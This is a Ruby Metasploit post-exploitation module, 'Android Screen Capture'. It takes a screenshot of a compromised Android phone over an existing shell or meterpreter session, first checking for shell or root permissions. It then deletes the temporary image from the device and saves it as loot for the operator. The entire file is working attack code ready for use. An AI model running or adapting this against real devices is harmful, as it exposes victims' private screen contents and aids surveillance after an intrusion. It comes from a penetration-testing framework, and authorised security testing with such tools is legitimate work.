1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Common
8
  include Msf::Post::File
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Android Screen Capture',
15
        'Description' => %q{
16
          This module takes a screenshot of the target phone.
17
        },
18
        'License' => MSF_LICENSE,
19
        'Author' => [ 'timwr' ],
20
        'Platform' => [ 'android' ],
21
        'SessionTypes' => [ 'shell', 'meterpreter' ],
22
        'Notes' => {
23
          'Stability' => [CRASH_SAFE],
24
          'SideEffects' => [],
25
          'Reliability' => []
26
        }
27
      )
28
    )
29

30
    register_options(
31
      [
32
        OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/data/local/tmp/']),
33
        OptString.new('EXE_PATH', [true, 'Path to remote screencap executable', '/system/bin/screencap'])
34
      ]
35
    )
36
  end
37

38
  def run
39
    id = cmd_exec('id')
40
    unless id =~ (/root/) || id =~ (/shell/)
41
      print_error('This module requires shell or root permissions')
42
      return
43
    end
44

45
    exe_path = datastore['EXE_PATH']
46
    tmp_path = datastore['TMP_PATH']
47
    if !file?(exe_path)
48
      print_error('Aborting, screencap binary not found.')
49
      return
50
    end
51

52
    begin
53
      file = "#{tmp_path}/#{Rex::Text.rand_text_alpha(7)}.png"
54
      cmd_exec("#{exe_path} -p #{file}")
55
      print_good('Downloading screenshot...')
56
      data = read_file(file)
57
      file_rm(file)
58
    rescue ::Rex::Post::Meterpreter::RequestError => e
59
      print_error('Error taking the screenshot')
60
      vprint_error("#{e.class} #{e} #{e.backtrace}")
61
      return
62
    end
63

64
    unless data
65
      print_error('No data for screenshot')
66
      return
67
    end
68

69
    begin
70
      fn = 'screenshot.png'
71
      location = store_loot('screen_capture.screenshot', 'image/png', session, data, fn, 'Screenshot')
72
      print_good("Screenshot saved at #{location}")
73
    rescue ::IOError, ::Errno::ENOENT => e
74
      print_error('Error storing screenshot')
75
      vprint_error("#{e.class} #{e} #{e.backtrace}")
76
      return
77
    end
78
  end
79
end
80

81